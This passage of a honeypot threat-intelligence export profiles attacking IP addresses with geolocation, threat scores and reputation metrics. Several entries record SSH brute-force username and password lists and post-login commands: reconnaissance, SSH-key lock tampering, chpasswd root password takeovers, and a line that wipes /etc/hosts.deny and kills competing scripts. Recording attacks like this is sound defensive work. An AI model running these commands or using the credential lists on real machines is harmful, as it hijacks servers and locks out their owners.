        "persistence": 7.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 63,
        "days_active_30d": 9,
        "ports_targeted_30d": 20,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T12:30:04+00:00",
        "last_seen_30d": "2026-04-12T12:32:49.359000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Suricata": 41,
        "Honeytrap": 20,
        "Cowrie": 2
      }
    },
    "197.44.114.250": {
      "attack_count": 2,
      "first_seen": "2026-04-02T08:20:12.030Z",
      "last_seen": "2026-04-02T08:20:42.479Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": "Cairo",
      "asn": 8452,
      "as_org": "TE Data",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T08:20:12.030000+00:00",
        "last_seen_30d": "2026-04-02T08:21:47.931000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "2.26.252.153": {
      "attack_count": 2,
      "first_seen": "2026-04-30T08:03:56.652Z",
      "last_seen": "2026-04-30T08:04:00.957Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Orem",
      "asn": 210457,
      "as_org": "Kyonix Networks Limited",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-28T22:45:06.877000+00:00",
        "last_seen_30d": "2026-04-30T22:54:14.133000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "205.210.31.134": {
      "attack_count": 2,
      "first_seen": "2026-04-16T15:35:56.697Z",
      "last_seen": "2026-04-16T15:36:27.386Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 57.4,
      "threat_level": "medium",
      "score_components": {
        "frequency": 15.6,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 22,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-04T06:27:38.670000+00:00",
        "last_seen_30d": "2026-04-25T04:11:30.791000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 24,
        "Honeytrap": 10,
        "Cowrie": 2
      }
    },
    "212.248.51.235": {
      "attack_count": 2,
      "first_seen": "2026-04-07T18:44:11.669Z",
      "last_seen": "2026-04-07T18:44:25.573Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 8359,
      "as_org": "MTS PJSC",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T18:44:11.669000+00:00",
        "last_seen_30d": "2026-04-07T18:45:32.540000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "23.226.4.84": {
      "attack_count": 2,
      "first_seen": "2026-04-07T01:26:14.472Z",
      "last_seen": "2026-04-07T01:26:14.611Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 23881,
      "as_org": "UDomain Web Hosting Company Ltd",
      "threat_score": 4.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-07T01:26:14.472000+00:00",
        "last_seen_30d": "2026-04-07T01:27:16.897000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "37.140.99.73": {
      "attack_count": 2,
      "first_seen": "2026-04-12T22:39:44.856Z",
      "last_seen": "2026-04-12T22:40:16.231Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Kamensk-Uralsky",
      "asn": 8369,
      "as_org": "Intersvyaz-2 JSC",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-12T22:39:44.856000+00:00",
        "last_seen_30d": "2026-04-12T22:41:18.514000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "61.108.29.102": {
      "attack_count": 2,
      "first_seen": "2026-04-21T19:43:32.344Z",
      "last_seen": "2026-04-21T19:43:45.650Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Cheongju-si",
      "asn": 9770,
      "as_org": "LG HelloVision Corp.",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T19:43:32.344000+00:00",
        "last_seen_30d": "2026-04-21T19:44:50.634000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "65.20.131.96": {
      "attack_count": 2,
      "first_seen": "2026-04-29T07:26:49.222Z",
      "last_seen": "2026-04-29T07:27:01.374Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iraq",
      "country_code": "IQ",
      "city": "Baghdad",
      "asn": 203214,
      "as_org": "Hulum Almustakbal Company for Communication Engineering and Services Ltd",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T07:26:49.222000+00:00",
        "last_seen_30d": "2026-04-29T07:28:02.605000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "73.72.115.182": {
      "attack_count": 2,
      "first_seen": "2026-04-10T01:02:16.818Z",
      "last_seen": "2026-04-10T01:02:47.522Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Oak Brook",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T01:02:16.818000+00:00",
        "last_seen_30d": "2026-04-10T01:03:49.447000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "79.157.176.157": {
      "attack_count": 2,
      "first_seen": "2026-04-27T16:54:13.641Z",
      "last_seen": "2026-04-27T16:54:26.614Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Figueres",
      "asn": 3352,
      "as_org": "Telefonica De Espana S.a.u.",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T16:54:13.641000+00:00",
        "last_seen_30d": "2026-04-27T16:55:32.489000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.10.237.211": {
      "attack_count": 2,
      "first_seen": "2026-04-21T01:10:06.752Z",
      "last_seen": "2026-04-21T01:10:20.474Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Norway",
      "country_code": "NO",
      "city": "Tj\u00f8me",
      "asn": 15659,
      "as_org": "NextGenTel AS",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-21T01:10:06.752000+00:00",
        "last_seen_30d": "2026-04-21T01:11:23.221000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.65.139.103": {
      "attack_count": 9733,
      "first_seen": "2026-04-17T23:59:46.048Z",
      "last_seen": "2026-04-27T13:51:12.566Z",
      "sessions": 1947,
      "ports": [],
      "usernames_attempted": [
        "root",
        "user",
        "ubuntu",
        "admin",
        "test",
        "user1",
        "deploy",
        "minecraft",
        "postgres",
        "steam",
        "oracle",
        "git",
        "frappe",
        "hadoop",
        "dmdba",
        "es",
        "ftpuser",
        "guest",
        "app",
        "mysql"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "1234",
        "12345",
        "12345678",
        "1qaz@WSX",
        "123456789",
        "abc123",
        "111",
        "admin",
        "Aa123456",
        "admin123",
        "qwe123",
        "test123",
        "1111",
        "******",
        "111111",
        "123123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.connect",
        "cowrie.session.closed",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Luxembourg",
      "country_code": "LU",
      "city": null,
      "asn": 214472,
      "as_org": "Offshore LC",
      "threat_score": 46.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 9.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 13661,
        "days_active_30d": 11,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-17T23:58:48.131000+00:00",
        "last_seen_30d": "2026-04-27T13:52:21.024000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 9733,
        "Suricata": 3928
      }
    },
    "2.57.121.112": {
      "attack_count": 4457,
      "first_seen": "2026-04-01T00:32:42.404Z",
      "last_seen": "2026-04-30T20:23:28.832Z",
      "sessions": 494,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "denver1",
        "desoto",
        "destruct",
        "dfkthbq",
        "dice",
        ".adgjm",
        "0003",
        "000555",
        "01011951",
        "010150",
        "010163",
        "010199",
        "01020102",
        "01022009",
        "01031971",
        "010386",
        "01041960",
        "010475",
        "01051960",
        "01051963"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Romania",
      "country_code": "RO",
      "city": null,
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 69.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 30,
        "persistence": 25,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 5939,
        "days_active_30d": 30,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T00:32:42.404000+00:00",
        "last_seen_30d": "2026-04-30T20:24:38.974000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4457,
        "Suricata": 1482
      }
    },
    "172.172.196.177": {
      "attack_count": 1159,
      "first_seen": "2026-04-01T20:20:42.214Z",
      "last_seen": "2026-04-12T18:59:31.747Z",
      "sessions": 115,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ubuntu",
        "steam",
        "user",
        "dev",
        "laura",
        "manager",
        "support",
        "test",
        "xw",
        "backend",
        "bayu",
        "dangulo",
        "demo",
        "ftpuser",
        "ghostcms",
        "gitlab-runner",
        "jay",
        "kirin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "!@#QWE123",
        "000000",
        "0admin",
        "1",
        "111",
        "123.com",
        "1233211234",
        "12345",
        "123456bB",
        "123QWEasdZXC",
        "13082025",
        "135790",
        "1q2w3e4r5",
        "20261109",
        "5tgb..",
        "8888",
        "ABc123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nlj4RuU5A8SA2\\nlj4RuU5A8SA2\\n\"|passwd",
        "echo \"laura\\nk0S0AdWtNyXw\\nk0S0AdWtNyXw\\n\"|passwd",
        "echo \"root:2uBKfZOEOofq\"|chpasswd|bash",
        "echo \"root:OsUF4dGXBFsn\"|chpasswd|bash",
        "echo \"root:VczmGDVEyCHX\"|chpasswd|bash",
        "echo \"root:XUducuhbQuvb\"|chpasswd|bash",
        "echo \"root:ZOWgE9PtZhCO\"|chpasswd|bash",
        "echo \"root:f0fyuvgDECTu\"|chpasswd|bash",
        "echo \"steam10!\\nyaSN0sJ9vBCs\\nyaSN0sJ9vBCs\\n\"|passwd",
        "echo \"xw\\nOL5zYTP6VZ3R\\nOL5zYTP6VZ3R\\n\"|passwd"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Washington",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 1423,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-01T20:20:42.214000+00:00",
        "last_seen_30d": "2026-04-12T19:00:41.825000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1159,
        "Suricata": 264
      }
    },
    "203.145.34.182": {
      "attack_count": 635,
      "first_seen": "2026-04-02T09:35:58.289Z",
      "last_seen": "2026-04-26T01:28:03.662Z",
      "sessions": 80,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "odoo",
        "ubuntu",
        "proxyuser",
        "vpn",
        "administrator",
        "ali",
        "arkserver",
        "bpm",
        "deploy",
        "dev",
        "hdoop",
        "jitendra",
        "oracle",
        "postfixtester",
        "postgres",
        "seekcy",
        "steam"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "test123",
        "123",
        "!234qwer",
        "12",
        "123123aA",
        "12345.QWERTY",
        "123456ABC",
        "1qaz",
        "2023@",
        "2342w3e4r",
        "321",
        "66668888",
        "AA123456789",
        "ABCABC",
        "Aa520250",
        "Aa@2023",
        "Aabb1122",
        "AbAb1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Test2025\\nUibyjIrIRDsZ\\nUibyjIrIRDsZ\\n\"|passwd",
        "echo \"root:h1pVBdkmpD7d\"|chpasswd|bash",
        "echo \"test123\\njD5NqTlmbaOo\\njD5NqTlmbaOo\\n\"|passwd",
        "echo \"vpn14\\nLb3KMceSeCvA\\nLb3KMceSeCvA\\n\"|passwd",
        "echo -e \"Test2025\\nUibyjIrIRDsZ\\nUibyjIrIRDsZ\"|passwd|bash",
        "echo -e \"test123\\njD5NqTlmbaOo\\njD5NqTlmbaOo\"|passwd|bash",
        "echo -e \"vpn14\\nLb3KMceSeCvA\\nLb3KMceSeCvA\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 136052,
      "as_org": "PT Cloud Hosting Indonesia",
      "threat_score": 53.7,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.1,
        "persistence": 20.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 821,
        "days_active_30d": 25,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T09:35:58.289000+00:00",
        "last_seen_30d": "2026-04-26T01:29:11.283000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 635,
        "Suricata": 186
      }
    },
    "186.31.95.163": {
      "attack_count": 568,
      "first_seen": "2026-04-05T04:29:50.787Z",
      "last_seen": "2026-04-09T04:20:03.600Z",
      "sessions": 55,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ubuntu",
        "345gs5662d34",
        "farm",
        "nishant",
        "postgres",
        "test",
        "VPN",
        "admin",
        "front-user",
        "ftp_id",
        "hamza",
        "jrodrig",
        "minecraft",
        "n8n",
        "nisuser",
        "odoo2",
        "oracle",
        "server",
        "user"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "123456",
        "12",
        "1234567",
        "1qa2ws3ed4rf",
        "Admin2026",
        "GU3ST!",
        "N8n16!",
        "Originalcox!@#",
        "P@ssw0rd123!",
        "P@ssw2rd",
        "Postgres20",
        "Qazwsx0000@#",
        "Root12$",
        "VPN",
        "Zz123123",
        "Zz1234567",
        "a1234567o"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"abc\\n1GHrEpPO32HK\\n1GHrEpPO32HK\\n\"|passwd",
        "echo \"farm\\nbfiD8C74hOmH\\nbfiD8C74hOmH\\n\"|passwd",
        "echo \"nishant\\n4lXx3twF9XDx\\n4lXx3twF9XDx\\n\"|passwd",
        "echo \"root:6gulQt2BZ5wi\"|chpasswd|bash",
        "echo \"root:oajy9YXhj3BC\"|chpasswd|bash",
        "echo -e \"abc\\n1GHrEpPO32HK\\n1GHrEpPO32HK\"|passwd|bash",
        "echo -e \"farm\\nbfiD8C74hOmH\\nbfiD8C74hOmH\"|passwd|bash",
        "echo -e \"nishant\\n4lXx3twF9XDx\\n4lXx3twF9XDx\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Colombia",
      "country_code": "CO",
      "city": "Bogot\u00e1",
      "asn": 19429,
      "as_org": "Colombia",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.4,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 699,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T04:29:50.787000+00:00",
        "last_seen_30d": "2026-04-09T04:21:05.574000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 568,
        "Suricata": 131
      }
    },
    "116.109.110.164": {
      "attack_count": 471,
      "first_seen": "2026-04-02T10:23:15.495Z",
      "last_seen": "2026-04-09T11:28:30.212Z",
      "sessions": 36,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "test",
        "ubuntu",
        "dev",
        "banana",
        "ftpuser",
        "helpdesk",
        "user"
      ],
      "passwords_attempted": [
        "345gs5662d34",
        "3245gs5662d34",
        "@a123456789",
        "Admin@888",
        "Asd12345@",
        "Dev123",
        "P@$$word03",
        "Pass123456@",
        "QA2ws3ed",
        "QWER_1234",
        "Qwe123",
        "Qwer1234",
        "Root!!2026",
        "Ubuntu27!",
        "Win@1234",
        "abc.123",
        "ahmed123",
        "banana",
        "bbQQ111",
        "chocolat"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Dev123\\ny9Ch9jEDIIS7\\ny9Ch9jEDIIS7\\n\"|passwd",
        "echo \"root:5khq0o8q7OR2\"|chpasswd|bash",
        "echo \"root:6EmYM7eWdYCE\"|chpasswd|bash",
        "echo \"root:OnPCx9fzyP5s\"|chpasswd|bash",
        "echo \"root:oeOvk1sW6mqb\"|chpasswd|bash",
        "echo -e \"Dev123\\ny9Ch9jEDIIS7\\ny9Ch9jEDIIS7\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Ho Chi Minh City",
      "asn": 24086,
      "as_org": "Viettel Corporation",
      "threat_score": 13.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 27.5,
        "persistence": 6.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 563,
        "days_active_30d": 8,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-02T10:23:15.495000+00:00",
        "last_seen_30d": "2026-04-09T11:29:36.819000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 471,
        "Suricata": 92
      }
    },
    "185.226.89.235": {
      "attack_count": 430,
      "first_seen": "2026-04-18T11:06:39.736Z",
      "last_seen": "2026-04-28T14:30:31.326Z",
      "sessions": 51,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "frappe",
        "ubuntu",
        "dc",
        "deploy",
        "distro",
        "postgres",
        "rs1",
        "sammy",
        "shiva",
        "test",
        "xyh"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678a",
        "123qweasdf123",
        "54321:",
        "Admin123@#",
        "CCqq111",
        "Daniel",
        "Dev@123",
        "Frappe04!",
        "Huawei@123",
        "P@ssw0rd123",
        "Qazwsx000!@#",
        "Qazwsx2018#$",
        "Qwert11111",
        "Ubuntu29!",
        "ZTzw@20fw21@WSX",
        "Zf123456",
        "a123456*"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
